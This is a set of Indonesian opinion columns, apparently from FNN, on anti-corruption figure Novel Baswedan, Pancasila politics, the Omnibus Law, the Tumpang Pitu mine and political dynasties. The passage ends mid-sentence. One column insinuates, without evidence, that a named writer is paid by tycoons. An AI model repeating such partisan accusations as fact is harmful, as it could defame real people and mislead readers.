Novel Baswedan, Orang Buta Dalam Obor Kehidupan

By Dr. Syahganda Nainggolan Jakarta FNN – Saya benar-benar Bangga. Saya telah bangga sebelumnya, ketika mengetahui akan dipanel dengan Novel Baswedan kemarin sore dalam pengajian di sebuah daerah di pondok bambu Jakarta Timur. Subhanallaah, Alhamdulillaah. Novel dikenal sebagai penegak hukum tangan besi bagi para koruptor. Novel juga berani mengambil resiko besar terhadap ke hidupnya yang selalu terancam mati. Matanya sendiri sudah disiram air keras sejaK dua tahun lalu. Itulah resiko perjuangan yang harus ditanggung Novel. Dr. Ahmad Yani MH, ahli hukum dan bekas anggota DPR RI bercerita kepada saya tentang Novel. Dalam sebuah pertemuan kebetulan dengan Novel di sebuah bandara, beberapa waktu bahwa “mata Novel yang buta atau hampir buta saat itu”. Novel bertanya kepada Yani, coba tebak, mata mana saya yang masih bisa melihat? Yani melihat, lalu mengatakan mata kanan. Jawaban Yani salah. Kenapa? Jawaban yang benar adalah mata kiri yang terlihat buta, justru masih bisa sedikit melihat. Sedang mata kanan yang kelihatan normal, justru sudah buta. Karena disiram dengan air keras. Kemarin, saya telah berbincang-bincang dengan Novel Baswedan selepas sholat Maghrib sambil menunggu Isya. Sekalian makan nasi kebuli. Karena acara kemarin akan berlangsung habis sholat Isya. Pertemuan itu mengupas berbagai kejahatan korupsi di negara ini. Novel, misalnya, mengingatkan hati-hati tentang Rancangan Undang-Undang Omnibus Law Cipta Kerja. Nanti bisa jadi, akan lebih gampang lagi kejahatan pengurasan sumber daya alam bangsa Indonesia. Untuk bayar biaya politik. Saya celetuk, "bukankah biaya politik sudah selesai dengan Jiwasraya?" Kebanggaan saya sirna setelah sholat Isya. Acara dimulai dengan paparan pertama dari Novel Baswedan. Setelah Novel menegaskan bahayanya korupsi di Indonesia serta tantangannya yang lebih besar saat ini. Novel menutup ceramahnya dengan berkata “sesungguhnya saya harus memberitahu anda semua, tadinya mata kiri saya masih bisa melihat secara samar. Namun, mata inipun sudah buta. Saya tidak dapat lagi melihat anda semua". Hilangnya kebanggaan saya setelah saya mengetahui bahwa Novel Baswedan tidak pernah melihat sosok siapa Syahganda Nainggolan itu. Novel Baswedan “is a Blind Man”. Panjang lebar perbincangan saya sebelumnya, antara Maghrib dan Isya, "hanyalah"pada orang yang tidak bisa melihat saya”. Itu membuat saya sama sekali tidak bangga. Tentu awalnya. Buta Mata, Terang di Hati Untuk memulihkan kebanggaan saya bertemu dengan Novel yang buta, saya harus membaca cerita-cerita tentang orang buta. "The Blind Man and The King", "The Blind Man and The Lamp", "The Blind Man and The Lame", "Jesus and the Blind", "Nabi Isa dan Orang Buta, Cerita tentang Si Buta Dari Gua Hantu, dan cerita orang butan lainnya. Orang buta ternyata bukanlah orang buta. Itu pertama ketika pernyataan terkahir Novel Baswedan dalam ceramahnya. "Mata saya telah menjadi buta. Namun, saya tidak akan pernah menyesalinya. Saya lebih takut kalau saya memilih jalan yang salah". "Tale story" maupun "true story" tentang orang buta yang banyak berguna bagi kehidupan kemanusian. Ternyata mengartikan buta sama dengan "jalan yang salah". Kebutaan yang benar-benar buta adalah jalan sesat. Jalan kejahatan. Manusia-manusia yang matanya benar-benar buta sesungguhnya manusia-manusia yang hidup dalam kesesatan, seperti koruptor-koruptor itu. Novel Baswedan awalnya matanya terang dan hatinya bersinar. Namun, mafia-mafia perampokan asset bangsa dan boneka-bonek nya telah memerintahkan penyiraman air keras kepada Novel. Kita tahu ketika Novel keluar dari Masjid sehabis Subuh di dekat rumahnya, pelaku pembutaan menyiramkan air keras ke mata Novel. Untuk mempertahankan matanya, sehabis kejadian 11 April 2017, Novel di bawa ke Eye Center Jakarta kemudian dirawat di Singapore General Hospital. Setelah hampir tahun tahun, Novel akhirnya buta. Matanya sudah tidak bersinar lagi. Namun, hati Novel tetap bersinar terang. Sebab Novel tidak menyesali resiko matanya . Novel berkata tadi, "saya lebih takut kalau berada dijalan yang salah". Artinya dia lebih takut kalau hatinya tidak bersinar, bukan matanya. Dan Novel, dalam ceramahnya, mengatakan, "Saya akan berjalan sendiri, jika memang kalau itu harus sendiri, dalam melawan kezaliman para koruptor-koruptor" Tantangan Kita Novel adalah petugas resmi negara. Bertahun-tahun penyiram air keras ke Novel raib tak ditemukan. Mirip Harun Masiku. Meski akhirnya ada dua opsir polisi yang mengaku beberapa bulan lalu. Pengakuan itu tidak menghilangkan misteri. Karena rakyat percaya bahwa penyiram mata Novel adalah sebuah kejahatan besar dari "organisasi mafia" besar yang terlibat. Pada saat Novel disiram air keras, matanya, KPK masih berjaya. Namun, saat ini KPK telah tersandera. Menggeledah sebuah kantor partaipun sudah kesulitan. Berbagai kasus atau 36 kasus, akhirnya di SP3 alias “dipetieskan”. Era pemberantasan korupsi, sebagai ikon perjuangan paska reformasi kelihatannya berakhir saat ini. Mati felan-felan Lalu bagaimana tantangan pemberantasan korupsi ke depan? Tentu saja "kematian" KPK bukan kematian rakyat dalam mengawasi korupsi dan melawan koruptor2 itu. Dukungan besar kepada KPK sepanjang sejarahnya, selama ini ditunjukkan dengan aksi rakyat ke KPK, aksi simpati. Sampai-sampai Jubir Jokowi, Fadjroel Rachman, tercatat dalam sejarah membotakkan kepalanya di KPK, disorot semua TV. Padahal semua aktifis ITB tahun 80an pernah botak kepalanya karena ikut OS, Ospek. Plonco. Hanya Fadjroel yang dulu tidak ikut Plonco, sehingga belum pernah gunduli kepala. Nah, dukungan rakyat pada pemberantasan korupsi saat ini akhirnya tidak punya saluran lagi. Kita lihat massa rakyat dalam tema anti korupsi Jumat kemarin sudah ke istana negara. Bukan lagi ke KPK. Begitu juga berbagai aktifitas para aktifis dalam menyuarakan anti korupsi, selain ke jalan, saat ini memenuhi ruang media sosial dan diskusi publik. Sekitar sepuluh ribu massa tumpah ruah kemarin di depan istana. Itu adalah sebuah langkah awal rakyat yang baik menyoroti korupsi. Menyalurkan aspirasi langsung ke istana. Dan Mahfud MD, Menteri Kordinator Polhukam, mengapresiasi isu dan aksi tersebut. Pola baru tuntutan massa rakyat ini akan membutuhkan ujian serius. Apakah suara mereka didengar para penguasa atau tidak? Jika praktek korupsi tetap merajalela, maka massa itu mungkin bukan lagi sepuluh ribu, bisa jadi bergerak ke angka aksi 212, yakni sepuluh juta jiwa. Penutup Kebanggaan saya berkenalan dengan Novel Baswedan yang awalnya sirna, ketika mengetahui bahwa beliau telah buta total.Novel tidak lagi mengenali audiens, berangsur membuat saya bengga kembali bangga kembali. Karena ternyata buta mata Novel bukanlah buta mata hatinya. Kebutaan mata fisik hanyalah bagian kecil dari perjuangan Novel. Dia lebih takut jika mata hatinya yang buta. Novel memastikan perjuangannya melawan korupsi dan mafia-mafia akan terus berlanjut. Menurutnya, buta itu adalah berada di jalan yang sesat. Dan dia memilih tidak di jalan yang sesat itu. Setelah Novel pergi dari majelis pengajian kemarin malam, dan saya mulai berbicara. Saya sampaikan "perjuangan ideologis itu bukanlah mempertentangkan Pancasila vs Agama. Namun, perjuangan ideologis adalah seperti Novel Baswedan. Mengambil resiko buta, tapi memilih hidup dijalan yang benar. Novel menyatakan “tidak akan kompromi dengan koruptor dan mafia-mafia itu”. Atas keberanianya, Novel mendapat peghargaan internasional dari Perdana Internasional Anticorruption Champion Foundation (PIACFF) tahun 2020. Kita harus belajar tentang kehidupan dari Novel Baswedan, "Orang Buta Yang Menjadi Obor Kehidupan". Bravo, Novel! Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Gila Agama, Mabuk Pancasila

Oleh Dimas Huda Jakarta, FNN - Gila. Insanity atau madness dalam bahasa Inggris. Sarap, orang Betawi bilang. Orang Jawa menyebutnya edan, gendeng, dan sableng. Majnun dalam bahasa Arab. Orang Sunda lebih suka menyebutnya gélo. Wikipedia mendefinisikan gila sebagai istilah umum tentang gangguan jiwa yang parah. Secara historis, konsep ini telah digunakan dalam berbagai cara. Di lingkungan dunia kesehatan lebih sering digunakan istilah gangguan jiwa. Kata kegilaan sering pula digunakan untuk menyatakan tidak waras, atau perilaku sangat aneh. Dalam pengertian tersebut berarti ketidaknormalan dalam cara berpikir dan berperilaku. Dalam perkembangan masyarakat, istilah yang cenderung negatif ini bisa jadi diartikan positif. Frasa seperti "ide gila", "karya gila", dan semacamnya lebih cenderung bernada pujian, yang berarti nyeleneh, unik, menyamping (out of the box), dan sebagainya. Ada pula yang menyematkan gila pada seseorang yang dianggap mabuk agama. Belakangan ditambah lagi dengan “mabuk Pancasila”. Robert Graves berpendapat religious fanaticism is the most dangerous form of insanity. Fanatanik terhadap agama adalah bentuk gila yang paling membahayakan. Jika Pancasila disakralkan, maka pendapat ini bisa bergeser bahwa mabuk Pancasila juga tak kalah berbahaya. Orang yang merasa "paling" hebat diantara manusia, itulah salah satu jenis orang gila. Pada tingkat inilah, orang masuk golongan upnormal. Maka benar pepatah Arab "Al-Junun Funun" gila itu bermacam-macam. Merasa paling pancasilais, dialah si gila itu. Merasa paling kaya, juga orang saraf. Orang yang merasa "paling beragama", tentu saja si majnun. Mentang-mentang diangkat menjadi anggota Badan Pembinaan Ideologi Pancasila atau BPIP, lalu merasa diri sangat pancasilais, paling pancasilais, maka sudah pasti itu orang edan. Fase Mabuk Sebelum masuk pada fase gila, biasanya didahului dengan mabuk: hilang kesadaran; suka yang berlebihan, tergila-gila. Mabuk adalah sebuah keadaan sang pelaku tidak sadar akan dirinya. Penyebabnya macam-macam. Bisa karena nenggak alkohol. Namun mabuk paling membayakan tentulah mabuk agama. Juga mabuk Pancasila yang sudah mulai diupayakan sejajar dengan agama. Tentu ada ciri-cirinya orang mabuk Pancasila. Seperti orang teler, mereka teriak “aku Pancasila” tapi tak ngerti omongannya sendiri. Mereka tidak paham sejarah tapi sok paham. Pancasila pun menjadi berhala baginya. Memutar Ulang Mereka juga gampang menuduh orang lain “tidak pancasilais”, “anti Pancasila”, “bahaya Pancasila” dan lainnya. Di antara mereka juga menghadap-hadapkan agama dengan Pancasila. Sejarah sepertinya mau diputar ulang. Pertarungan politik hendak dilanjutkan kembali. Urusan Pancasila dibuat belum kelar. Dulu, tatkala Pancasila digodok, dibahas, bahkan diperdebatkan hingga menghasilkan rumusan akhir seperti Pancasila saat ini, memang memunculkan aliran terkuat yakni “Kebangsaan” dan “Islam”. Kebangsaan berspirit sekuler sedangkan Islam didukung oleh kekuatan keagamaan. Perjuangan politik umat Islam saat itu adalah “Ketuhanan dengan kewajiban menjalankan syari’at Islam bagi pemeluk-pemeluknya”. Setelah Proklamasi 17 Agustus 1945 maka akhir rumusan adalah sebagaimana yang ditetapkan tanggal 18 Agustus 1945 dengan sila pertama “Ketuhanan Yang Maha Esa”. Umat Islam telah memberi “hadiah” pada bangsa. Pancasila disepakati sebagai dasar penyelenggaraan negara. Ironisnya, kini yang secara simbolik menyatakan “aku Pancasila” atau “Pancasila harga mati” atau sejenisnya itu mengarahkan tudingannya kepada umat Islam. Mereka menyebar racun dan permusuhan bahwa kekuatan umat Islam itu radikal dan intoleran serta menjadi “bahaya Pancasila”. Tuduhan yang kadang seenaknya dan tidak bertanggungjawab. Disadari pada tahun-tahun politik seperti sekarang ini tidak jarang penipuan, kebohongan, kecurangan, kezhaliman, fitnah dan adu domba dengan mengatasnamakan agama, juga Pancasila. Inilah yang memunculkan istilah "mabuk agama” dan “mabuk Pancasila tapi krisis moral”. Bila kondisi ini dibiarkan maka akan berubah menjadi "gila agama, gila Pancasila, tapi krisis moral." Agama dan Pancasila dipolitisasi sesuai keinginan dengan menghalalkan berbagai macam cara demi tercapai ambisi politiknya. Dulu kaum sekuler dan komunis berlindung di Pancasila untuk mengamankan diri. Agama dimusuhi dan dipecah-belah. Pancasila menjadi senjata sekaligus benteng persembunyian untuk misi sesat. Memperkuat kekuasaan dengan menciptakan musuh buatan yang disebut radikalisme, intoleran, ekstemisme bahkan terorisme. Penuh dengan prasangka dan kebencian menuduh bahwa kaum beragama adalah anasir berbahaya. Mengancam Pancasila. Pancasila merupakan kesepakatan, perjanjian, dan keseimbangan politik. Bukan berhala. Karenanya dahulu ada diskursus Pancasila sebagai ideologi terbuka yang bisa didiskusikan. Hanya orang komunis yang menjadikan Pancasila sebagai ideologi tertutup. Lalu dengan doktrin “membela Pancasila” semakin anti pada agama. Mereka tidak menyadari bahwa ketika “gila Pancasila” kian berkembangbiak maka pada akhirnya “gila agama” pun akan turut berkecambah. Sudahlah, jadi waras itu lebih indah. Penulis wartawan senior.

Jokowi Korbankan Buruh Menanggung Beban Investasi Asing

Sejumlah paket ekonomi yang dibuat Pemerintah Jokowi dengan narasi yang terkesan indah dan hebat-hebat. Namun dalam kenyataannya, tetap saja tidak mampu meningkatkan pertumbuhan ekonomi. Karena ternyata tidak terimplementasi di lapangan dengan baik. Banyak kendala yang dibuat oleh pejabat terkait perizinan.Pejabat cenderung mempersulit investasi dengan biaya-biaya yang cenderung memberatkan. By Gde Siriana Yusuf Jakarta FNN - Sehubungan Pemerintahan Jokowi telah menyerahkan draft RUU Omnibus Law Cipta Lapangan Kerja kepada DPR untuk dibahas, menurut saya ada 3 poin penting yang harus dicermati pemerintah, DPR dan publik. Pertama, RUU Omnibus Law Cipta Lapangan Kerja didasari pada situasi di mana relokasi investasi di China ke Asia Tenggara kecuali Indonesia. Artinya tujuan Omnibus Law Cipta Lapangan Kerja adalah untuk menarik investasi asing ke Indonesia. Pemerintah akan memberikan segala kemudahan dan kepastian dalam berinvestasi. Oleh karena itu pemerintah dan DPR sepatutnya fokus pada efisiensi perijinan dan incentive berinvestasi. Bukan menciptakan aturan-aturan yang mengorbankan kesejahteraan buruh. Bukan pula menaruh nasib buruh pada level yang lebih rendah dalam Omnibus Law. Jika demikian halnya, maka sama saja demi kepentingan investasi asing, Jokowi mengorbankan buruh. Jadinya buruh ikut menanggung beban investasi asing. Pemerintah dapat mengkreasikan aturan-aturan atau biaya investasi yang kompetitif dengan Vietnam, Thailand dan Malaysia. Pemerintah tidak perlu mengurangi apa yang telah didapat buruh selama ini. Yang sudah didapat oleh buruh, biarkan saja apa adanya. Pemerintah seharusnya mendorong investor dengan memberikan incentive progresif kepada investasi yang menggunakan tenaga kerja Indonesia di atas 80%. Atau incentive progresif untuk investasi yang export oriented, atau penggunaan bahan baku lokal di atas 80%. Kedua, perlu jaminan implementasi Omnibus Law ini. Bagaimana aturan teknisnya nanti benar-benar ciptakan efisiensi. Selama ini selain aturan yang tumpang tindih, biaya perijinan investasi tidak efisien, karena mental koruptif birokrasi, baik di pusat maupun daerah. Jadi, efektifitas Omnibus Law ini dalam menarik investasi akan sangat ditentukan oleh praktek birokrasi. Apa yang terkesan bagus dalam narasi, akan gagal jika birokrasinya masih koruptif. Selain itu, Omnibus Law Cipta Lapangan Kerja harus didukung penuh oleh para buruh dan pemerintah daerah. Jika akhirnya masih sering terjadi aksi pemogokan buruh, akibat dari Omnibus Law yang dipaksakan pemerintah pun tidak akan berhasil menarik investasi asing masuk. Kita harus belajar dari paket-paket ekonomi Jokowi di periode pertama pemerintahannya. Sejumlah paket ekonomi yang dibuat Pemerintah Jokowi dengan narasi terkesan indah hebat-hebat. Namun dalam kenyataannya, tetap saja tidak mampu meningkatkan pertumbuhan ekonomi. Karena ternyata tidak terimplementasi di lapangan dengan baik. Pejabat cenderung mempersulit investasi dengan biaya-biaya yang cenderung memberatkan. Ketiga, jiwa RUU Omnibus Law ini jangan sampai menghidupkan kembali sentralisme pada pemerintah pusat. Sekarang kita sudah melangkah jauh dengan desentralisme otonomi daerah. Pemerintah daerah harus diajak terlibat dalam pembahasan RUU Omnibus Law. Tujuannya, agar Pemerintah Daerah dapat memahami betul isi dan tujuannya, sehingga implementasinya di daerah juga efektif dan seragam. Penulis adalah Direktur Eksekutif Indonesia Future Studies (INFUS)

Defender of the Cukongs Mulai Kepanasan

“If you have enemies, that means you stand for the right,” kata Winston Churchill, perdana menteri Inggris di era perang. “Jika Anda punya musuh, berarti Anda membela kebenaran.” By Asyari Usman Jakarta FFN - “Smoked out” artinya keluar dari persembunyian. Kepanasan. Terus, maki-maki. Defending the crooks. Bad enough, tentunya. But, that’s what you will expect from Zeng Wei Jian called “Ken Ken” by his fooled admirers. Ken Ken mencak-mencak gegara dua tulisan yang mengurai peranan para cukong dalam mendikte politik Indonesia. Dia buat tulisan konyol. Dia tunjukkan as if (seolah-olah) dia adalah kaki tangan para cukong parpol itu. Sungguh kasihan. Sebenarnya, banyak orang tahu Zeng “bukan penulis lepas”. Tangannya terborgol oleh keharusan untuk menjaga agar “debit card” itu bisa tetap berlaku di tempat-tempat nongkrong. Sebenarnya, pena yang dia gunakan untuk menulis sangat canggih. Tapi, ada “remote control”-nya. Pengamat politik, Hersubeno Arief, menguraikan siapa-siapa yang disebut sebagai cukong yang melakukan mafia politik. Yakni, mereka yang membeli parpol untuk kuasai Indonesia. Itu saja. Sekadar mengelaborasi “pengalaman” Ketua MPR Bambang Soesatyo bahwa para cukong alias pemodal, domestik maupun asing, membeli “Satu Partai Satu Triliun” untuk menguasai negeri. Celakanya, kalau Anda selami pikiran Zeng, Anda akan temukan di kepalanya bahwa beli parpol “is the thing right to do”. Beli partai itu bagus bagi Zeng. Hancurlah Indonesia. Mas Hersu dan teman penulis satu lagi hanya mencarikan perspektif yang tepat dari deklarasi Pak Bamsoet. Hersebeno menjelaskan siapa-siapa saja yang punya duit besar, yang mampu membeli parpol-parpol “in order to gain the real power” dalam mengelola kekayaan negara. Sangatlah logis kalau kemudian Hersubeno memperkenalkan kepada khalayak nama-nama taipan yang mungkin sekali berkepentingan untuk membeli kekuasaan politik. Lagi pula, nama-nama yang membuat Zeng naik tensi itu adalah mereka yang disebut oleh “Forbes” sebagai orang-orang terkaya di Kolam Susu-nya Koes Ploes. Hersu hanya mengutip “Forbes” itu. Nothing more. Zeng menjadi panik. Dia bela para cukong itu. Menuduh Hersu bebuat SARA. Baseless accusation. Tuduhan yang terbentuk dari “inability to understand the whole context of Hersu’s argument”. Tidak ada SARA. Yang diuraikan itu semata-mata fakta murni. Zeng keluar dengan cercaan yang menggelikan. Dia caci-maki kedua penulis that stand for the right. Zeng tidak rela pembeberan the truth of the day. Perilaku Zeng sangat memalukan, by all standards. Neither morality, nor journalism principles. Dapat dibaca dengan jelas arah tulisannya. Seratus persen menggonggong untuk the masters –para cukong itu. Pantas diduga, ada imbalan yang sangat menggiurkan di balik “pikiran sesat” Zeng. Reaksi ngawur Zeng Wei Jian sama sekali tidak mengherankan. Dia memusuhi tulisan-tulisan yang tidak sejalan dengan “money making process” yang dia punya. Zeng langsung terusik ketika ada yang coba menyentuh para cukong yang telah merusak semua sendi kehidupan bangsa ini. However, Mas Hersubeno dan teman penulis satu lagi tidak perlu terlalu hirau dengan jurus-jurus Zeng. Anda berdua paham tentang dia. Publik juga mengerti. Dan Anda berdua juga tahu mengapa Anda punya musuh. “If you have enemies, that means you stand for the right”, kata Winston Churchill, perdana menteri Inggris di era perang. “Jika Anda punya musuh, berarti Anda membela kebenaran.” Penulis adalah Wartawan Senior

Soal Tambang Emas Tumpang Pitu, Gubernur Khofifah Harus Tegas!

Oleh Mochamad Toha Jakarta, FNN - Gejala konflik horizontal di wilayah sekitar tambang emas Tumpang Pitu di kawasan Dusun Pancer, Desa Sumberagung, Kecamatan Pesanggaran, Kabupaten Banyuwangi, belakangan ini sangat mengkhawatirkan. Pasalnya, mulai ada kelompok Forum Pembela Adat dan Budaya Banyuwangi (Balawangi) yang siap siap pasang badan mensterilkan Dusun Pancer dari pihak luar. Sayangnya pihak luar yang dimaksud itu siapa tak disebutkan. “Kami sangat prihatin, dan merasa terpanggil atas kondisi yang terjadi di Pancer,” kata Ketua Balawangi, Sholehudin, Minggu malam (16/2/2020). Ini disampaikan saat acara diskusi di café Jakarta, Desa Jajag, Kecamatan Gambiran, Banyuwangi. Seperti dilansir TimeIndonesia.co.id, hadir dalam kegiatan tersebut sejumlah tokoh pemuda Bumi Blambangan. Salah satunya Agus Setiawan, Ketua Paguyuban Pekerja Pertambangan Banyuwangi. Menurut Soleh, sapaan akrab Solehudin, apa yang belakangan terjadi di Pancer, sudah tidak bisa ditolelir. Masyarakat kecil seolah diaduk dan saling dibenturkan. Antara warga yang bisa menerima keberadaan tambang emas PT Bumi Suksesindo (PT BSI) dengan yang kontra. Menurutnya, sejumlah pentolan gerakan anti tambang emas PT BSI, memang diketahui dari warga luar Desa Sumberagung. Bahkan belakangan kembali muncul pihak yang berpotensi menciptakan gangguan stabilitas keamanan di masyarakat. “Kasihan masyarakat Pancer, mereka jadi resah, setahu kami mayoritas masyarakat itu netral dan sebagian lain bisa menerima keberadaan tambang, kalau pun ada yang menolak, dulu masih sangat santun, tapi kini menjadi ada jarak,” ungkapnya. Sementara itu, Agus Setiawan, selaku Ketua Paguyuban Pekerja Pertambangan Banyuwangi, berharap masyarakat di sekitar tambang PT BSI bisa saling menghargai. Baik kalangan pro maupun tolak. “PT BSI kan tambang legal, keberadaanya dilindungi Undang-Undang Dasar (UUD) 1945,” katanya. Begitu juga, lanjut Agus, kelompok tolak silakan protes. Karena itu hak warga negara dan dijamin UUD 1945 juga. Termasuk kalangan karyawan PT BSI, dia meminta juga untuk tidak diganggu atau dihalang-halangi. “Karena pekerjaan dan penghidupan yang layak adalah hak setiap individu dan dilindungi konstitusi,” cetusnya. Dalam diskusi ini, Balawangi dan sejumlah tokoh muda di Banyuwangi, sepakat akan hadir untuk masyarakat Pancer. Demi terciptanya ketentraman dan kondusivitas warga setempat. Sekaligus sebagai bentuk peran serta dalam mengawal penegakan supremasi hukum. Jika Gubernur Jawa Timur Khofifah Indar Parawansa tak segera mengambil langkah tegas, bukan tidak mungkin konflik horizontal antar kedua kelompok itu bisa saling berhadapan. Dan, meledak! Sebaiknya, Gubernur Khofifah mengevaluasi keberadaan PT BSI. Pasalnya, kelompok penolak tambang juga punya alasan kuat. Demi masa, perjuangan ini akan abadi. Tolak tambang emas Tumpang Pitu adalah harga yang tak bisa ditawar. Tidak hanya Salakan saja tapi seluruh kawasan yang ditambang harus dilepaskan untuk kelestarian. Mereka menuntut: Pertama, mendesak Gubernur Khofifah mencabut perijinan pertambangan PT BSI dan PT DSI guna terciptanya keselamatan, keberlanjutan, dan pemulihan lingkungan dan ruang hidup warga Sumberagung dan sekitarnya (Banyuwangi); Kedua, juga mendesak Gubernur Khofifah untuk memulihkan kawasan yang telah rusak di Tumpang Pitu demi menjamin kehidupan masyarakat berbasis kelestarian lingkungan dan pengurangan resiko bencana. Ketua Balawangi, Sholehudin berkata bahwa tambang PT. BSI itu legal, sesuai UUD 1945. Artinya, “Dia selaku ketua LSM Balawangi mendukung tambang emas Gunung Tumpang Pitu dan Salakan, dengan argumen legalitas,” kata Advokat Subagyo, SH. Selaku orang yang pernah belajar dan mengajar ilmu hukum, ia jelaskan begini. “Bahwa hal yang legal itu belum tentu benar. Apakah sesuatu yang legal itu sudah pasti konstitusional? Ya belum tentu,” lanjut advokat yang concern pada hukum lingkungan ini. Contoh paling sederhana adalah asal hukum dagang dan konsumsi miras itu tak benar dalam padangan nilai yang hidup dalam masyarakat Islam. Jadi secara living law (pinjam istilah Von Savigny), perdagangan dan konsumsi miras itu tidak benar. Karena melanggar living law masyarakat Islam. Makanya UU melarang. Lalu ada perangkat hukum administrasi yang bernama “izin pemerintah” yang melegalkan. “Sehingga menjadi legal,” ungkap Subagyo. Begitu pula hukum asal dari menambang emas itu adalah “dilarang”. Apalagi itu di kawasan hutan lindung. Tapi untuk melegalkannya, maka kawasan hutan lindung itu diubah oleh pemerintah menjadi hutan produksi, lalu dijadikan wilayah usaha tambang dan diberikan izin usaha tambang. Jadi perizinan itu merupakan instrumen legalisasi perbuatan yang hukum asalnya adalah “tidak legal”. Nah, apakah legalisasi itu selalu konstitusional? Ya tidak mesti. Sebagai contoh, Mahkamah Agus memutuskan, kebijakan pemerintah berupa peraturan yang dipakai dasar untuk mengubah kawasan hutan lindung menjadi hutan non-lindung untuk perkebunan adalah inkonstitusional, melanggar UUD 1945. Itu terkait dg putusan MA yg minta presiden Jokowi mencabut PP Nomor 104 Tahun 2015 tentang Tata Cara Perubahan Peruntukan dan Fungsi Kawasan Hutan. “Jadi, ada penjahat yang membawa-bawa agama sebagai dasar dan argumen. Ada pula orang yang membawa-bawa UUD 1945 untuk meloloskan hasrat dan nafsunya,” ungkap Subagyo. Dan, sumber penyebabnya sama, yakni uang, rasa takut tidak hidup kaya, rasa takut tidak bisa hidup terpandang. Gunung Tumpang Pitu dibutuhkan warga sebagai benteng alami dari daya rusak tsunami. Tumpang Pitu dan sekitarnya adalah Kawasan Rawan Bencana (KRB). Sebagai KRB, seharusnya Hutan Lindung Gunung Tumpang Pitu dikonservasi, penambangan di KRB justru menambah angka kerentanan KRB itu sendiri. Karenanya menjadi beralasan jika tambang emas di Hutan Lindung Gunung Tumpang Pitu ditolak. Seperti dilansir Walhijatim.or.id, demi tambang emas, mantan Ketua MPR Zulkifli Hasan yang saat itu sebagai Menteri Kehutanan, telah mengubah status hutan lindung Tumpang Pitu sebagai hutan produksi. Pengubahan status ini dilakukan Zulkifli Hasan pada 19 November 2013 dengan menerbitkan surat keputusan Menteri Kehutanan RI Nomor SK.826/Menhut-II/2013. Dalam surat tersebut, Menhut mengalih fungsi Tumpang Pitu dari hutan lindung menjadi produksi seluas 1.942 ha. Penurunan status Tumpang Pitu ini dilakukan oleh Menhut setelah ada usulan dari Bupati Banyuwangi Abdullah Azwar Anas. Pada 10 Oktober 2012, Bupati Banyuwangi lewat surat Nomor 522/635/429/108/2012 mengusulkan perubahan fungsi kawasan hutan lindung seluas 9.743, 28 ha. Usulan Abdullah Azwar Anas ini direspon Zulkifli Hasan dengan mengalihfungsi Tumpang Pitu seluas 1.942 ha. Alihfungsi ini dilakukan Zulkifli Hasan dengan menerbitkan surat No. SK.826/Menhut-II/2013. Untuk mencegah terjadinya konflik horizontal, Gubernur Khofifah bisa segera mengevaluasi terkait legalitas perizinan atas tambang emas Tumpang Pitu. Meski ada izinnya dan dianggap “legal” namun patut dipertanyakan, bagaimana proses turunnya izin itu. Padahal, sudah jelas bahwa Tumpang Pitu itu termasuk KRB, tapi mengapa Bupati Anas itu begitu mudahnya mengusulkan kawasan hutan lindung ini menjadi produksi? Mengapa pula Menhut (saat itu) Zulhas begitu mudah memberi izin alih fungsi itu? Patut diduga, di sini ada upaya proses “illegal”untuk mendapatkan “legalitas” perizinan atas Tumpang Pitu! Di sinilah ditunggu ketegasan dan keberanian Gubernur Khofifah mengambil sikap. Meski di dalam perusahaan tambang Tumpang Pitu itu ada nama wakil menteri dan kerabat KH Abdurrahman Wahid (Gus Dur), saya yakin, Gubernur Khofifah akan bertindak tegas! ** Penulis wartawan senior.

Tembak Jokowi, Mega Menepuk Air di Dulang

Selain Gibran dan Boby, ada dua lagi keluarga Jokowi yang mengadu peruntungan di politik. Mereka adalah adik ipar Jokowi, Wahyu Purwanto, yang dikabarkan bakal maju dalam Pilkada di Gunung Kidul, Jawa Tengah, serta Paman Bobby Nasution, Doli Sinomba Siregar, yang berencana untuk maju sebagai calon Bupati Tapanuli Selatan. By Dimas Huda Jakarta FNN - Megawati Soekarnoputri mengeluarkan pernyataan yang cukup menohok bagi politisi yang tahu diri. Ketua Umum DPP PDI Perjuangan ini menunjukkan kekesalannya ketika menyebut tokoh politik yang memaksa anaknya menjadi pemimpin. Sementara anak tersebut tidak mampu memimpin. Seperti tidak ada orang lain saja. "Kalau enggak anak'e, kalau ndak istrine, kalau enggak ponakane,” sindir Mega pada saat memberi sambutan pengumuman Paslon Pilkada 2020 di Kantor DPP PDIP, Jakarta, Rabu (19/2). Sodokan Mega itu bisa diarahkan ke mana-mana. Maklum saja, politik dinasti saat ini memang sudah menjadi semacam tren. Sudah lazim, para politisi tua umumnya menyiapkan anak dan saudara-saudaranya masuk gelanggang politik. Sebut saja Joko Widodo. Anak Presiden Jokowi, Gibran Rakabuming Raka, mencalonkan diri menjadi Walikota Solo. Menantu Presiden Jokowi, Bobby Nasution, mencalonkan diri sebagai Walikota Medan. Jokowi sepertinya tengah membangun politik dinasti di keluarganya. Ibarat buah, Gibran dan Bobby masih mentah. Tak punya pengalaman di partai politik. Lantaran anak Jokowi, Gibran menjadi moncer. Begitu juga Boby. Hanya karena menjadi menantu presiden namanya menjadi dihitung. Elektabilitasnya oke. Soal kemampuan dalam memimpin, yaa, itu nanti saja dulu. Itu urusan belakangan. Jari Mega boleh jadi diarahkan ke Istana Jokowi. Soalnya, sampai detik ini, DPP PDIP belum mengeluarkan persetujuan atas pencalonan anak dan menantu presiden itu. Itu sebabnya, Gibran juga sadar bahwa keputusan dirinya maju sebagai calon Walikota Solo, bergantung pada Megawati. Gibran Rakabuming Raka telah mendaftarkan diri sebagai bakal calon Walikota Solo lewat DPD PDIP Jawa Tengah, setelah jajaran PDIP Solo menutup pintu pendaftaran. Selain Gibran dan Boby, ada dua lagi keluarga Jokowi yang mengadu peruntungan di politik. Mereka adalah adik ipar Jokowi, Wahyu Purwanto, yang dikabarkan bakal maju dalam Pilkada di Gunung Kidul, Jawa Tengah, serta Paman Bobby Nasution, Doli Sinomba Siregar, yang berencana untuk maju sebagai calon Bupati Tapanuli Selatan. Politik Dinasti Hanya saja, politik dinasti bukan monopoli Jokowi. Susilo Bambang Yudhoyono (SBY) justru mempelopori terlebih dahulu. Ia mendorong putranya Agus Harimurti Yudhoyono (AHY) untuk mencalonkan diri sebagai Gubernur DKI Jakarta. AHY gagal, dan SBY mencoba mendorong-dorong AHY menjadi calon presiden atau calon wakil presiden pada Pilpres 2019 kemarin. Langkah ini pun gagal. SBY sepertinya ingin berkuasa kembali dengan membangun dinasti. Partai Demokrat dijadikan kendaraan. Selain AHY, ada Edhie Baskoro Yudhoyono (Ibas) yang lebih dulu di PD. Kedua pangeran ini 